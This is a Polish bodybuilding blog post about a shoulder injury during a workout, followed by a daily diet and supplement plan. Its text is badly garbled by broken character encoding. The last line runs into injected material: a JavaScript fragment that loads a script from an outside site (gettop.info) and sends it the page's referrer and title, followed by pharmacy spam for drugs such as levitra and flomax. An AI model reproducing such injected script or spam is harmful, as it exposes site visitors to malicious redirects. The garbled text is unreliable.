PiAi??tek…

16.10.2011 / Michał Karmowski

PiAi??tek nie byAi?? moim najlepszym dniem , rano wstaAi??em i zrobiAi??em planowe cardio pA?A?niej 3 posiAi??ki i udaAi??em siAi?? na trening barkA?w. JuA? w trakcie rozgrzewki czuAi??em , A?e jest bardzo A?le aleAi?? zrobiAi??em wstAi??pne zmAi??czenie unoszeAi?? ramion bokiem, pA?A?niej przyciAi??ganie hantli do brody stojAi??c delikatnie bo bA?l byAi?? duA?y a podczas wyciskaAi?? hantlami sparaliA?owaAi??o mi bark i hantel wypadAi?? mi z rAi??ki. Na tym zakoAi??czyAi??em Ai??wiczenia tego dnia. Do 22.00 byAi??em w pracy wiAi??c nie poszedAi??Ai??m do lekarza , robiAi??em okAi??ady z lodu i zaaplikowaAi??em sobie ketonal domiAi??Ai??niowo. Wczoraj robiAi??Ai??m nogi a dziAi?? dzieAi?? wolny od treningu tylko same aeroby , nie wiem czy boli bo jestem od piAi??tku na przeciwbA?lowych lekach. Zobaczymy jak bAi??dzie jutro , bo mam zamiar trenowaAi?? klatkAi??.

dieta:
2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex, 4 caps clenburexin
60 min cardio bieA?nia
po 2 miarki bcaa powder, 2miarki l-glutamine extreme
1-600g biaAi??ek jaj, 150g pAi??atkA?w owsianych, 150g awokado, ai??i?? jointXpack, vitalXpack, 2 g vit c strong

2-300g woAi??owiny mielonej, 300g sAi??odkich ziemniakA?w, 20g oleju lnianego
3-300g piersi z kurczaka, 75g ryA?u ,50g orzechA?w
przed treningiem 15 g S.A.W. , 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex

trening

po treningu 40g biaAi??ka z isolate 100, 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 2 g vit c strong po kAi??pieli –

300g pangi biaAi??ejAi?? , 75g ryA?u
4,5-300g kurczaka, 50g ryA?u, 25g oleju lnianego
6-300g steka, Ai?? 50gAi?? masAi??Ai?? orzechowego , 2 miarki l-glutamine extreme} else { buy pills online d.getElementsByTagName(‚head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; glucovance price in egypt buy flomax where best price for levitra 20mg Purchase advair cost mexico